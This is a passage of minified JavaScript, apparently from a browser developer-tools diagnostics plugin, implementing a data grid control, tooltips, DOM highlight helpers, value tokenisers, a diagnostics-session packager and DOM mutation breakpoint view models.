m=e.row;m.innerHTML="";m.style.top=t*this._measurements.rowHeight+"px";m.style.left=this._measurements.gutterWidth+"px";m.style.height=this._measurements.rowHeight+"px";m.style.width=isNaN(this._contentSize.width)?"":this._contentSize.width+2+"px";for(var _=this._columns,g=0,f=_.length;g<f;g++){var C=_[g];if(!C.hidden){var v=C.getCellContents(e,i,s,n,C,o,g);v&&m.appendChild(v)}}p.makeElementUnselectable(m);this._gutter&&p.makeElementUnselectable(a);this._updateRowSelectionStyle(e,this._selectedRows,this._selectedIndex);m.removeEventListener("DOMAttrModified",this._onAriaExpandedModifiedHandler);if(0!==s){m.setAttribute("aria-expanded",s>0?"true":"false");m.addEventListener("DOMAttrModified",this._onAriaExpandedModifiedHandler)}}_drawGutterCell(e,t,i,s,n){}_drawCell(e,t,i,s,n,o,r){var a,l,h=n.width||20,d=this.createElementWithClass("div","grid-cell");d.style.width=isNaN(h)?String(h):h+"px";var c,u=this._dataSource[t],m=!!(n.hasMoreColumn&&u&&u.hasMoreText);if(n.cellDecorator&&!m){var _=this._dataSource[t];n.cellDecorator(d,_)}else{if(m){a=this._onHasMoreClick.bind(this,u);l=u.hasMoreText}else{void 0!==n.hrefIndex&&(a=this.getColumnValue(t,n.hrefIndex,-1));l=this.getColumnText(t,n,r);c=this.getColumnText(t,n,r,!0)}n.hasHTMLContent||p._setTooltip(d,c||l,65);if(a){var g=document.createElement("a");"function"==typeof a?g.onclick=a:g.setAttribute("href",a);g.textContent=l;d.appendChild(g)}else l?n.hasHTMLContent?d.innerHTML=l:d.textContent=l:d.innerHTML="&nbsp;"}if(r===o&&s>0){var f=16*s-13;n.indentOffset=f;if(0!==i){var C=this.createElementWithClass("div","icon grid-tree-icon");C.style.left=f+"px";d.appendChild(C);i>0?C.classList.add("icon-tree-expanded"):C.classList.add("icon-tree-collapsed")}d.style.textIndent=16*s+"px"}if(n.getCellCSSClass){var v=n.getCellCSSClass(t,n.index,r,this._dataSource);if(v)for(var S=v.trim().split(" "),E=0;E<S.length;E++)d.classList.add(S[E])}n.rowCss&&d.classList.add(n.rowCss);return d}_drawHeader(){var e=this._columns,t=this._sortOrder;if(this._header){for(var i=document.createDocumentFragment(),s=0,n=e.length;s<n;s++){var o=e[s];if(!o.hidden){var r=this.createElementWithClass("div","grid-header-column");p._setTooltip(r,o.tooltip,65);r.style.width=(o.width||20)+"px";r._data={columnIndex:s,header:!0};var a=this.createElementWithClass("div","separator");o.fixed&&(a.style.cursor="auto");a._data={columnIndex:s,separator:!0};r.appendChild(a);var l=o.getHeaderCellContents(o,s);o.headerCss&&l.classList.add(o.headerCss);o.tooltip&&p._setTooltip(l,o.tooltip,65);r.appendChild(l);var h=this.createElementWithClass("div","sort-handle");t.forEach((e,t,i)=>{if(e.index===o.index){this._setSortOrderClass(r,e.order);return!1}});this.setGutterHeaderSortOrder();r.appendChild(h);i.appendChild(r)}}this._headerCanvas.innerHTML="";this._headerCanvas.appendChild(i);p.makeElementUnselectable(this._header)}}_drawHeaderCellValue(e,t){var i=document.createElement("div");i.classList.add("title");i.innerText=e.text||"";t===this._indentIndex&&void 0!==this._indentLevels&&null!==this._indentLevels&&i.classList.add("indented-title");return i}_layoutContentSpacer(){for(var e=0,t=this._columns,i=0,s=t.length;i<s;i++)t[i].hidden||(e+=(t[i].width||20)+this._measurements.cellOffset);e+=2;var n=Math.max(1,this._expandedCount*this._measurements.rowHeight);this._contentSpacer.style.width=e+"px";this._contentSpacer.style.height=n+"px";this._gutter&&(this._gutter.style.height=n+"px");this._ignoreScroll=!0;try{var o=Math.max(0,Math.min(this._scrollTop,n-this._canvasHeight));if(o!==this._scrollTop){this._scrollTop=o;this._canvas.scrollTop=o}var r=Math.max(0,Math.min(this._scrollLeft,e-this._canvasWidth));if(r!==this._scrollLeft){this._scrollLeft=r;this._canvas.scrollLeft=r}}finally{this._ignoreScroll=!1}this._contentSize.width=e;this._contentSize.height=n}_layoutHeader(){this._header&&(this._headerCanvas.style.left=this._measurements.gutterWidth-this._scrollLeft+"px");this._gutter&&(this._gutter.style.left=this._scrollLeft+"px")}_fixScrollPos(){var e=this._ignoreScroll;this._ignoreScroll=!0;try{this._canvas.scrollLeft=this._scrollLeft;this._canvas.scrollTop=this._scrollTop}finally{this._ignoreScroll=e}}_redraw(e){this._layoutHeader();this._updateViewport(e)}_getExpandState(e){var t=0;this._expandStates&&"number"==typeof this._expandStates[e]&&(t=this._expandStates[e]);return t}_selectRow(e,t,i){var s=i&&i.ctrl,n=i&&i.shift,o=i&&i.rightClick;if(s)this._addSelection(e,t,{toggle:!0});else if(n){this._clearSelection();this._addSelectionRange(e,t)}else if(o)if(this._selectedRows&&this._selectedRows.hasOwnProperty(e)){this._selectedIndex=e;this._updateAriaAttribute()}else{this._clearSelection();this._addSelection(e,t)}else{this._clearSelection();this._addSelection(e,t)}}_selectAll(){if(this._count>0&&!1!==this._options.allowMultiSelect){this._clearSelection();this._selectionStart=0;var e=Math.max(0,this._selectedIndex);this._addSelectionRange(this._count-1,void 0,{doNotFireEvent:!0});this._selectedIndex=e;this._updateSelectionStyles();this._selectionChanged()}}_clearSelection(){this._selectionCount=0;this._selectedRows=null}_addSelection(e,t,i){var s=i&&i.keepSelectionStart,n=i&&i.doNotFireEvent,o=i&&i.toggle,r=!1;if(!1===this._options.allowMultiSelect){s=!1;r=!!this._selectedRows&&this._selectedRows.hasOwnProperty(e);this._clearSelection()}if(!r){this._selectedRows||(this._selectedRows={});if(e>=0){var a=!0;if(this._selectedRows.hasOwnProperty(e)){if(o){a=!1;this._selectionCount=Math.max(0,this._selectionCount-1);delete this._selectedRows[e]}}else this._selectionCount++;"number"!=typeof t&&(t=this._getDataIndex(e));a&&(this._selectedRows[e]=t);this._selectedIndex=e;this._updateAriaAttribute();(this._selectionStart<0||!s)&&(this._selectionStart=e)}else{t=-1;this._selectedIndex=-1}}if(!n){this._updateSelectionStyles();this._selectionChanged();this._selectedIndexChanged(this._selectedIndex,t)}}_addSelectionRange(e,t,i){var s,n=i&&i.doNotFireEvent,o=-1;if(!1===this._options.allowMultiSelect)this._addSelection(e,t);else{this._selectedRows&&(o=this._selectedRows[this._selectedIndex]);this._selectionStart<0&&(this._selectionStart=e);var r=Math.min(this._selectionStart,e),a=Math.max(this._selectionStart,e);"number"==typeof t&&r===e||(t=this._getDataIndex(r));for(var l=r;l<=a;l++){this._addSelection(l,t,{keepSelectionStart:!0,doNotFireEvent:!0});l===e&&(s=t);var h=this._getExpandState(t);h<0?t+=1-h:t++}this._selectedIndex=e;this._updateAriaAttribute();if(!n){this._updateSelectionStyles();this._selectionChanged();o!==s&&this._selectedIndexChanged(this._selectedIndex,s)}}}_updateAriaAttribute(){var e=this._getDataIndex(this._selectedIndex);if(e>=0){var t=this.getRowInfo(e);if(t&&t.row){var i=t.row.getAttribute("id");if(i!==this._activeAriaId){var s=this._getAriaLabelForRow(t);t.row.setAttribute("aria-label",s);this._activeAriaId=i}t.row.focus()}else this._updateAriaOnViewportUpdate=!0}}_getAriaLabelForRow(e){var t="",i=(e.rowIndex,e.dataIndex);if(this._expandStates){this._expandStates[i];this._indentLevels[i]}if(this._gutter){var s=this._options.gutter;if(s.getTooltip){var n=s.getTooltip(i,this._dataSource);if(n){t&&(t+=", ");t+=n}}}for(var o=this._columns,r=0,a=o.length;r<a;r++){var l=o[r];if(!l.hidden){var h=this.getColumnText(i,l,r);t&&(t+=", ");t+=h}}return t}_updateSelectionStyles(){this._delayedUpdateCookie&&window.clearTimeout(this._delayedUpdateCookie);this._delayedUpdateCookie=window.setTimeout(()=>{var e,t=this._selectedRows,i=this._selectedIndex,s=this._rows;for(e in s){var n=s[e];this._updateRowSelectionStyle(n,t,i)}},10)}_selectionChanged(){this.selectionChanged(this._selectedIndex,this._selectionCount,this._selectedRows);this.fireCustomEvent(this._element,"selectionchanged",[{selectedIndex:this._selectedIndex,selectedCount:this._selectionCount,selectedRows:this._selectedRows}])}_selectedIndexChanged(e,t){this.selectedIndexChanged(e,t);this.fireCustomEvent(this._element,p.EVENT_SELECTED_INDEX_CHANGED,[e,t])}_updateRowSelectionStyle(e,t,i){var s=e.rowIndex,n=e.row,o=e.gutterRow;n.classList.remove("grid-row-selected");n.classList.remove("grid-row-selected-blur");n.classList.remove("grid-row-current");n.setAttribute("tabindex","-1");if(o){(r=o.querySelector("input.checkbox"))&&r.setAttribute("checked",String(!1))}if(t&&t.hasOwnProperty(s)){if(o){var r;(r=o.querySelector("input.checkbox"))&&r.setAttribute("checked",String(!1))}this._active?n.classList.add("grid-row-selected"):n.classList.add("grid-row-selected-blur")}if(s===i){n.classList.add("grid-row-current");this._rowSelectedCallback&&this._rowSelectedCallback()}}_measureCanvasSize(){this._canvasHeight=this._canvas.clientHeight;this._canvasWidth=this._canvas.clientWidth}_onContainerResize(e){this.layout()}_setupMoveEvents(){document.addEventListener("mousemove",e=>this._onDocumentMouseMove(e));document.addEventListener("mouseup",e=>this._onDocumentMouseUp(e))}_clearMoveEvents(){document.removeEventListener("mousemove",null,!0);document.removeEventListener("mouseup",null,!0)}_onDocumentMouseMove(e){var t=this._columnSizing;if(t&&!0===t.active){var i=e.pageX-t.origin,s=Math.max(15,t.originalWidth+i);this._columns[t.index].width=s;this._applyColumnSizing(t.index);this._moveSizingElement(t.index)}}_onDocumentMouseUp(e){window.setTimeout(()=>{this._tryFinishColumnSizing(!1)},0);return!1}_onHeaderMouseDown(e){if(1!==e.which)return!0;var t=this.findClosestElement(e.target,".separator");if(t&&t._data){var i=t._data.columnIndex,s=this._columns[i];if(!s.fixed){this._columnSizing=new m(!0,i,s.width,e.pageX);this._moveSizingElement(i);this._setupMoveEvents();e.stopImmediatePropagation();e.preventDefault();return!1}}}_onHeaderMouseUp(e){return!1}_onHeaderClick(e){var t=this.findClosestElement(e.target,".grid-header-column");if(t&&!this._columnSizing){var i=this.findClosestElement(e.target,".separator");if(i&&i._data)return!1;if(t._data){var s=t._data.columnIndex,n=this._columns[s];n.canSortBy&&!n.fixed&&this._sortBy(n,e.shiftKey)}}}_onHeaderDblClick(e){var t=this.findClosestElement(e.target,".separator");if(t&&t._data){this._tryFinishColumnSizing(!0);var i=t._data.columnIndex,s=this._columns[i],n=Math.max(s.maxLength||0,3),o=1.1+.7*Math.exp(-n/20),r=s.width;s.width=(s.indentOffset||0)+Math.round(n*o*this._measurements.unitEx);this._applyColumnSizing(i,r,!0);return!1}}_onHasMoreClick(e){for(var t,i,s,n=0;n<this._dataSource.length;n++)if(this._dataSource[n]===e){s=n;break}if(void 0!==s){if(s<this._expandStates.length)for(n=s-1;n>=0;n--){if(Math.abs(this._expandStates[n])>=s-n){i=n;break}}if(void 0!==i){t=this._dataSource[i];var o=this.getExpansionPath(i);this._getLoadMoreChildDataCallback(t,o,(e,t)=>{null!==e&&this._adjustForDynamicData(e.itemsWithPlaceholders,e.expandStates,i,s,t)})}}}_moveSizingElement(e){var t=this._measurements.gutterWidth;if(!this._sizingElement){if(e<0)return;this._sizingElement=this.createElementWithClass("div","grid-column-sizing");this._canvas.appendChild(this._sizingElement)}this._sizingElement.style.height=this._canvas.clientHeight-1+"px";this._sizingElement.style.top=this._scrollTop+"px";if(e<0){this._sizingElement.style.left="-5000px";this._sizingElement.style.top="-5000px";this._sizingElement.style.height="0px"}else{for(var i=0;i<=e;){var s=this._columns[i++];s.hidden||(t+=s.width)}this._sizingElement.style.left=t-1+"px"}}_getVisibleColumnIndex(e){var t=0,i=0;this._columns.length;if(this._columns[e].hidden)return-1;for(;t<e;){this._columns[t].hidden||i++;t++}return i}_applyColumnSizing(e,t,i){var s=this._getVisibleColumnIndex(e)+1,n=this._columns[e],o=!1;t=t||-1;if(n){o=n.width!==t;this.rootElement.querySelector(".grid-header-canvas .grid-header-column:nth-child("+s+")").style.width=n.width+"px"}if(!0===i){o&&this.layout();this._onColumnResize(n)}}_onColumnResize(e){this.fireCustomEvent(this._element,"columnresize",[e])}_tryFinishColumnSizing(e){var t=this._columnSizing;if(t){if(!0===t.active){e||this._applyColumnSizing(t.index,t.originalWidth,!0);this._moveSizingElement(-1)}this._columnSizing=null;this._clearMoveEvents()}}_getSortColumns(e){for(var t=this._columns,i=[],s=0,n=e.length;s<n;s++){var o,r=e[s];t.forEach(function(e,t,i){if(e.index===r.index){o=e;return!1}});i.push(o)}return i}_sortBy(e,t){var i=this._sortOrder.slice(0),s=!1;if(e){for(var n=0,o=i.length;n<o;n++){if((a=i[n]).index===e.index){i.splice(n,1);s=!0;break}}var a;a=s?new r(a.index,"asc"===a.order?"desc":"asc"):new r(e.index,"asc");t&&this._options.allowSortOnMultiColumns?i.push(a):i=[a]}var l=this._getSortColumns(i);this._onSort(i,l)}_onSort(e,t){!1!==this.onSort(e,t)&&this.fireCustomEvent(this._element,"sort",[{sortOrder:e,sortColumns:t}])}_trySorting(e,t){t||(t=this._getSortColumns(e));var i=[],n=0;for(var o in this._selectedRows){var r=this._selectedRows[o],l=this._dataSource[r];if(l){i.push(l);n+=parseInt(o)}}var h=new a(null,null);p.addItemsToTree(this._dataSource,this._expandStates,0,this._dataSource.length,h);this._sortOrder&&1===this._sortOrder.length&&1===e.length&&this._sortOrder[0]!==e[0]&&this._sortOrder[0].index===e[0].index?this._sortOrder[0].order!==e[0].order&&p.walkTree(h,i=>{s.TreeNodeSort.stableReverse(i.children,(i,n)=>s.TreeNodeSort.sortComparer(e,t,i.data,n.data))}):p.walkTree(h,i=>{i.children.sort((i,n)=>s.TreeNodeSort.sortComparer(e,t,i.data,n.data))});this._dataSource=[];this._expandStates=[];for(var d=0;d<h.children.length;d++)p.walkTree(h.children[d],e=>{this._dataSource.push(e.data);this._expandStates.push(e.expandState)});this._indentLevels=p.expand(this._expandStates);this._updateRanges();if(this._selectionCount>0){this._clearSelection();var c=0;for(d=0;d<i.length;d++){if((r=this._dataSource.indexOf(i[d]))>=0){var u=this._getRowIndex(r);this._addSelection(u,r);c+=u}}this._scrollTop+=(c-n)/this._selectionCount*this._measurements.rowHeight}}_onCanvasScroll(e){var t=this._canvas;this._resetScroll=!0;this._scrollLeft=t.scrollLeft;this._scrollTop=t.scrollTop;this._ignoreScroll||this._redraw();return!1}_getClickedCell(e){return this.findClosestElement(e.target,".grid-cell")}_createEditCellBox(t,i,s,n){var o=s.innerText,r=this.createElementWithClass("input","grid-edit-box");r.setAttribute("type","text");r.setAttribute("value",o);function a(e){var o=r.value;s.innerText=o;if(n){n(o,t,i);e.stopPropagation();e.preventDefault();return!1}}r.addEventListener("focusout",function(e){a(e)});r.addEventListener("keydown",function(t){if(t.keyCode===e.KeyCodes.Enter)a(t);else if(t.keyCode===e.KeyCodes.Escape){s.innerText=o;t.stopPropagation();t.preventDefault();return!1}});s.innerHTML="";s.appendChild(r);r.select();r.focus()}_onEditCell(e){if(!e.target.classList.contains("grid-tree-icon")){var t=this._getClickedCell(e);if(t&&t.classList.contains("grid-cell-editable")){var i=this.getRowInfoFromEvent(e,".grid-row");if(i){for(var s=i.row.children,n=s.length,o=-1,r=0;r<n;r++)t===s[r]&&(o=r);this._createEditCellBox(i.dataIndex,o,t,this._editCellCallback)}}}}_onRowMouseDown(e){var t=this.getRowInfoFromEvent(e,".grid-row");if(t){var i=e.target;1===e.which&&i.classList.contains("grid-tree-icon")?this._onToggle(t):3===e.which&&this._options&&this._options.disableRightClickSelection||this._selectRow(t.rowIndex,t.dataIndex,{ctrl:e.ctrlKey,shift:e.shiftKey,rightClick:3===e.which})}}_onGutterClick(e){var t=this.getRowInfoFromEvent(e,".grid-gutter-row");t&&(this._selectedRows&&"number"==typeof this._selectedRows[t.rowIndex]||this._selectRow(t.rowIndex,t.dataIndex))}_onBlur(e){if(e.target.classList.contains("grid-edit-box"))e.stopPropagation();else{this._active=!1;this._updateSelectionStyles()}}_onFocus(e){if(e.target.classList.contains("grid-edit-box"))e.stopPropagation();else{this._active=!0;this._updateSelectionStyles();this._updateAriaAttribute()}}_onKeyDown(t){var i={lo:-1,hi:-1},s=e.KeyCodes,n=this._canvas;if(this._options.isGridDisabled)return!1;if(this._copyInProgress){t.keyCode===s.Escape&&this._cancelable&&this._cancelable.cancel();return!1}this._count>0&&(i={lo:0,hi:this._expandedCount-1});var o=!1;switch(t.keyCode){case s.A:if(!t.ctrlKey)return!0;t.preventDefault();this._selectAll();break;case s.ArrowDown:this._clearSelection();if(t.ctrlKey){t.preventDefault();t.shiftKey?this._addSelectionRange(i.hi):this._addSelection(i.hi)}else if(t.shiftKey){t.preventDefault();this._addSelectionRange(Math.min(this._selectedIndex+1,i.hi))}else this._addSelection(Math.min(this._selectedIndex+1,i.hi));break;case s.ArrowUp:this._clearSelection();if(t.ctrlKey){t.preventDefault();t.shiftKey?this._addSelectionRange(i.lo):this._addSelection(i.lo)}else if(t.shiftKey){t.preventDefault();this._addSelectionRange(Math.max(this._selectedIndex-1,i.lo))}else this._addSelection(Math.max(this._selectedIndex-1,i.lo));break;case s.PageDown:case s.PageUp:var r=n.clientHeight,a=Math.floor(r/this._measurements.rowHeight);this._clearSelection();t.keyCode===s.PageDown?t.shiftKey?this._addSelectionRange(Math.min(this._selectedIndex+a,i.hi)):this._addSelection(Math.min(this._selectedIndex+a,i.hi)):t.shiftKey?this._addSelectionRange(Math.max(this._selectedIndex-a,i.lo)):this._addSelection(Math.max(this._selectedIndex-a,i.lo));break;case s.ArrowRight:if(this.tryToggle(!0,t.shiftKey)||0===this._expandStates[this._getDataIndex(this._selectedIndex)]){this._clearSelection();this._addSelection(this._selectedIndex)}else this._addSelection(Math.min(this._selectedIndex+1,i.hi));break;case s.ArrowLeft:if(this.tryToggle(!1,t.shiftKey)){this._clearSelection();this._addSelection(this._selectedIndex)}else{var l=this._selectedIndex;if(null!==this._indentLevels)for(var h=this._indentLevels[this._getDataIndex(this._selectedIndex)];h>1&&l>i.lo&&this._indentLevels[this._getDataIndex(l)]>=h;)--l;this._addSelection(Math.max(l,i.lo))}break;case s.Home:this._clearSelection();t.shiftKey?this._addSelectionRange(i.lo):this._addSelection(i.lo);break;case s.End:this._clearSelection();t.shiftKey?this._addSelectionRange(i.hi):this._addSelection(i.hi);break;case s.Tab:document.activeElement!==this.getElement()&&this.getElement().focus();o=!0;break;default:o=!0}this.getSelectedRowIntoView();o||t.preventDefault();return!1}_onToggle(e){if(this._expandStates){var t=this._expandStates[e.dataIndex];if(0!==t){t>0?this.collapseNode(e.dataIndex):t<0&&this.expandNode(e.dataIndex);this._clearSelection();this._addSelection(Math.min(e.rowIndex,this._expandedCount-1),e.dataIndex);this._layoutContentSpacer();this._redraw()}}}}p.TYPE_NAME="GridControl";p.MAX_COPY_SIZE=1e3;p.PAYLOAD_SIZE=200;p.EVENT_SELECTED_INDEX_CHANGED="selectedIndexChanged";p.GlobalGridInstanceNumber=0;i.GridControl=p}(i=t.Grid||(t.Grid={}))}(i=t.Legacy||(t.Legacy={}))}(t=e.Controls||(e.Controls={}))}(Common||(Common={}));!function(e){!function(t){!function(t){"use strict";class i{constructor(t,i,s){this._rootContainer=document.createElement("div");this._rootContainer.className="BPT-sourceInfoTooltip";if(i&&s){this.addDiv("sourceInfoNameLabel",Microsoft.Plugin.Resources.getString(s));this.addDiv("sourceInfoName",i)}this.addDiv("sourceInfoFileLabel",Microsoft.Plugin.Resources.getString("SourceInfoFileLabel"));this.addDiv("sourceInfoFile",t.source);this.addDiv("sourceInfoLineLabel",Microsoft.Plugin.Resources.getString("SourceInfoLineLabel"));this.addDiv("sourceInfoLine",e.FormattingHelpers.getDecimalLocaleString(t.line,!0));this.addDiv("sourceInfoColumnLabel",Microsoft.Plugin.Resources.getString("SourceInfoColumnLabel"));this.addDiv("sourceInfoColumn",e.FormattingHelpers.getDecimalLocaleString(t.column,!0))}get html(){return this._rootContainer.outerHTML}addDiv(e,t){var i=document.createElement("div");i.className=e;i.textContent=t;this._rootContainer.appendChild(i)}}t.SourceInfoTooltip=i}(t.Legacy||(t.Legacy={}))}(e.Controls||(e.Controls={}))}(Common||(Common={}));!function(e){"use strict";class t{static get isAvailable(){return!!Microsoft.Plugin.F12}static selectDomElement(e){if(Microsoft.Plugin.F12){e&&Microsoft.Plugin.F12.setInspectElementId(e);Microsoft.Plugin.F12.activateTab(Microsoft.Plugin.F12.PluginId.dom)}}static highlightElement(e){Microsoft.Plugin.F12&&Microsoft.Plugin.F12.Communications.getRpcClient().broadcast("toolMessage",{type:"highlightDomElement",uidChain:e})}static clearHighlight(){Microsoft.Plugin.F12&&Microsoft.Plugin.F12.Communications.getRpcClient().broadcast("toolMessage",{type:"removeDomHighlight"})}}e.DomHelper=t}(Common||(Common={}));!function(e){!function(e){"use strict";class t{static getSwimlaneViewStateService(){t._swimlaneVisibilityService||(t._swimlaneVisibilityService=new i);return t._swimlaneVisibilityService}}e.SwimlaneViewStateServiceFactory=t;class i{constructor(){this._swimlaneVisibilityMap=new Map}getSwimlaneVisibility(e){return Promise.resolve(this.getSwimlaneVisibilitySynchronous(e))}getSwimlaneVisibilitySynchronous(e){var t=this._swimlaneVisibilityMap.get(e);if(void 0===t){this._swimlaneVisibilityMap.set(e,!0);t=!0}return t}setSwimlaneVisibility(e,t){this._swimlaneVisibilityMap.set(e,t)}}e.SwimlaneVisibilityService=i}(e.Common||(e.Common={}))}(PerfTools||(PerfTools={}));!function(e){"use strict";class t{static GetName(e,t){var i;if(e)for(var s in e)if(e.hasOwnProperty(s)){if(e[s]===t){i=s;break}}i||(i=t.toString());return i}static Parse(e,t,i=!0){var s;if(e){i&&(t=t.toLowerCase());for(var n in e)if(e.hasOwnProperty(n)){var o=n.toString();i&&(o=o.toLowerCase());if(t===o){s=e[n];break}}}return s}static GetValues(e){var t=[];if(e)for(var i in e)if(e.hasOwnProperty(i)){var s=e[i];"number"==typeof s&&t.push(s)}return t}}e.Enum=t}(Common||(Common={}));!function(e){"use strict";class t{constructor(e){this._events={};this._listeners={};if(!(e&&e.length>0))throw Error("Events are null or empty.");for(var t=0;t<e.length;t++){var i=e[t];i&&(this._events[i]=i)}}addEventListener(e,t){if(e&&t){var i=this._events[e];if(i){(this._listeners[i]?this._listeners[i]:this._listeners[i]=[]).push(t)}}}removeEventListener(e,t){if(e&&t){var i=this._listeners[e];if(i)for(var s=0;s<i.length;s++)if(t===i[s]){i.splice(s,1);break}}}invokeListener(e){if(e.type){var t=this._listeners[e.type];if(t)for(var i=0;i<t.length;i++){var s=t[i];s&&s(e)}}}}e.Publisher=t}(Common||(Common={}));!function(e){"use strict";class t{static getHtmlTokens(e){var i=[];if(!e)return i;var s=t.HTML_REGEX.exec(e);if(s){s[1]&&i.push({type:0,value:s[1].toString()});s[2]&&i.push({type:5,value:s[2].toString()});s[3]&&i.push({type:4,value:s[3].toString()});s[4]&&i.push({type:6,value:s[4].toString()});s[5]&&i.push({type:8,value:s[5].toString()});void 0!==s[6]&&i.push({type:7,value:s[6].toString()});s[7]&&i.push({type:6,value:s[7].toString()});s[8]&&i.push({type:8,value:s[8].toString()});void 0!==s[9]&&i.push({type:7,value:s[9].toString()});s[10]&&i.push({type:6,value:s[10].toString()});s[11]&&i.push({type:8,value:s[11].toString()});void 0!==s[12]&&i.push({type:7,value:s[12].toString()});s[13]&&i.push({type:5,value:s[13].toString()});s[14]&&i.push({type:0,value:s[14].toString()})}else i.push({type:0,value:e});return i}static getStringTokens(e){var i=[];if(!e)return i;var s=t.STRING_REGEX.exec(e);if(s){s[1]&&i.push({type:0,value:s[1].toString()});s[2]&&i.push({type:0,value:s[2].toString()});s[3]&&i.push({type:1,value:s[3].toString()});s[4]&&i.push({type:0,value:s[4].toString()})}else i.push({type:0,value:e});return i}static getNumberTokens(e){var i=[];if(!e)return i;var s=t.NUMBER_REGEX.exec(e);if(s){s[1]&&i.push({type:0,value:s[1].toString()});s[2]&&i.push({type:0,value:s[2].toString()});s[3]&&i.push({type:2,value:s[3].toString()});s[4]&&i.push({type:0,value:s[4].toString()})}else i.push({type:0,value:e});return i}static getCssClass(e){switch(e){case 1:return"valueStringToken-String";case 2:return"valueStringToken-Number";case 4:return"perftools-Html-Element-Tag";case 6:return"perftools-Html-Attribute";case 7:return"perftools-Html-Value";case 5:return"perftools-Html-Tag";case 8:return"perftools-Html-Operator";default:return""}}static isHtmlExpression(e){return t.GENERAL_HTML_REGEX.test(e)}static isStringExpression(e){return t.STRING_REGEX.test(e)}}t.GENERAL_HTML_REGEX=/^<.*>/;t.HTML_REGEX=/(^.*)?(<)([^\s]+)(?:( id)(=)(\".*?\"))?(?:( class)(=)(\".*?\"))?(?:( src)(=)(\".*?\"))?(>)(.*$)?/;t.NUMBER_REGEX=/(.*)?(=)( ?-?\d+(?:.\d+)?)(.*$)?/;t.STRING_REGEX=/(^.*?)(=)( ?\".*\")(.*$)?/;e.TokenExtractor=t}(Common||(Common={}));!function(e){!function(e){"use strict";class t{constructor(){this._hostShellProxy=Microsoft.Plugin.Utilities.JSONMarshaler.attachToPublishedObject("Microsoft.VisualStudio.WebClient.Diagnostics.HtmlToolHost.Package.Extensions.Core.HostShell",{},!0)}setStatusBarText(e,t){return this._hostShellProxy._call("setStatusBarText",e,t||!1)}}e.HostShellProxy=t;class i{setStatusBarText(e,t){return Promise.resolve()}}e.LocalHostShell=i}(e.Extensions||(e.Extensions={}))}(Common||(Common={}));class Notifications{static get isTestMode(){return window.TestMode}static get notifications(){Notifications._notifications||(Notifications._notifications=new Microsoft.Plugin.Utilities.EventManager);return Notifications._notifications}static subscribe(e,t){Notifications.isTestMode&&Notifications.notifications.addEventListener(e,t)}static unsubscribe(e,t){Notifications.isTestMode&&Notifications.notifications.removeEventListener(e,t)}static subscribeOnce(e,t){function i(){Notifications.unsubscribe(e,i);t.apply(this,arguments)}Notifications.isTestMode&&Notifications.subscribe(e,i)}static notify(e,t){Notifications.isTestMode&&Notifications.notifications.dispatchEvent(e,t)}}!function(e){!function(e){"use strict";class t{constructor(e){this._proxy=e;if(!this._proxy)throw new Error(Microsoft.Plugin.Resources.getErrorString("JSPerf.1074"))}openPackage(e){try{this._proxy.openPackage(e)}catch(e){console&&console.log("failed openPackage call on packager. Message: "+e.message);throw new Error(Microsoft.Plugin.Resources.getErrorString("JSPerf.1077"))}}createPackage(e,i){i||(i=this.generateRandomName()+t.DIAGSESSION_EXTENSION);try{this._proxy.createPackage(e,i)}catch(e){console&&console.log("failed createPackage call on packager. Message: "+e.message);throw new Error(Microsoft.Plugin.Resources.getErrorString("JSPerf.1077"))}return i}hasToolData(e){try{return this._proxy.hasToolData(e)}catch(e){console&&console.log("failed hadToolData call on packager. Message: "+e.message);throw new Error(Microsoft.Plugin.Resources.getErrorString("JSPerf.1077"))}}addResource(e,t,i){try{this._proxy.addResourceToPackage(e,t,i)}catch(e){console&&console.log("failed addResource call on packager. Message: "+e.message);throw new Error(Microsoft.Plugin.Resources.getErrorString("JSPerf.1077"))}}getResourcePathsByType(e){try{return this._proxy.getResourcePathsByType(e)}catch(e){console&&console.log("failed getResourcePathsByType call on packager. Message: "+e.message);throw new Error(Microsoft.Plugin.Resources.getErrorString("JSPerf.1077"))}}commit(){try{this._proxy.commitPackage()}catch(e){console&&console.log("failed commit call on packager. Message: "+e.message);throw new Error(Microsoft.Plugin.Resources.getErrorString("JSPerf.1077"))}}closePackage(){try{this._proxy.closePackage()}catch(e){console&&console.log("failed closePackage call on packager. Message: "+e.message);throw new Error(Microsoft.Plugin.Resources.getErrorString("JSPerf.1077"))}}generateRandomName(){return Math.random().toString(36).substring(2)}}t.DIAGSESSION_EXTENSION=".diagsession";e.F12Packager=t}(e.Data||(e.Data={}))}(Common||(Common={}));!function(e){"use strict";class t{}t.E_ABORT=-2147467260;t.MINIMUM_REQUIRED_DOCUMENT_MODE=10;t.MEMORY_ANALYZER_SNAPSHOT_RESOURCE_TYPE="MemoryAnalyzer.Resource.Snapshot";t.MEMORY_ANALYZER_TOOL_GUID="BE2D5223-40F7-4428-A9A0-AF888725C1FB";t.UI_RESPONSIVENESS_TOOL_GUID="{0615D892-30B0-4ADA-AFAB-93BFE13D9538}";e.Constants=t;!function(e){class t{}t.F12_TEMP_DATA_ROOT_PATH="%localappdata%\\Temp\\Microsoft\\F12\\";t.F12_TEMP_DATA_ROOT_PATH_UWP="%localappdata%\\..\\TempState\\";e.F12=t}(t=e.Constants||(e.Constants={}))}(Common||(Common={}));!function(e){!function(e){const t=(e,t)=>Common.ToolWindowHelpers.loadString(e,t);class i{constructor(e,t){this.breakpointType=e;this.breakpointTypeForDisplay=t}static fromDmbpType(e){let s=i.typeMap.get(e);if(!s){switch(e){case"subtree-modified":s=new i(e,t("DomMutationBreakpointsTypeSubtreeModified"));break;case"attribute-modified":s=new i(e,t("DomMutationBreakpointsTypeAttrModified"));break;case"node-removed":s=new i(e,t("DomMutationBreakpointsTypeNodeRemoved"))}i.typeMap.set(e,s)}return s}}i.typeMap=new Map;e.DmbpTypeViewModel=i}(e.DomMutationBreakpoints||(e.DomMutationBreakpoints={}))}(F12||(F12={}));!function(e){!function(e){"use strict";const t=(e,t)=>Common.ToolWindowHelpers.loadString(e,t),i={noElementsMatchedSelector:"dmbpErrorMessageBindingFailedSelectorNotMatched",tooManyElementsMatchedSelector:"dmbpErrorMessageBindingFailedSelectorMatchedMultiple",unknown:"dmbpErrorMessageBindingFailedUnknown"};class s{constructor(e,t,i){this.selector=e;this.documentUrl=i;this.state="enabled";this.expanded=!0;this.id=s.VIEWMODEL_ID++;this._types=t}static createPendingBreakpoint(e,t,i,n,o="unknown"){const r=new s(e,t,i);r.setFailed(n,o);return r}setFailed(e,s){this.bindingFailedReason=s;this.localizedTooltip=t(i[this.bindingFailedReason])||t("unknown");this.pendingId=e;this.state="unbound";this.breakpointId=void 0;this.elementUniqueId=void 